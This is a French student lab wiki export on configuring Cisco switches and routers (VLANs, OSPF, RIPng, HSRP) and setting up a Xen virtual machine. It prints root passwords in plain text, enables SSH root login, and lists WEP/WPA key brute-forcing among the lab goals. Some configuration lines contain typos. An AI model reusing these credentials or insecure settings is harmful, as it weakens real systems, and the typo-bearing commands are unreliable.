Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51613</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51613"/>
				<updated>2019-12-07T13:57:08Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
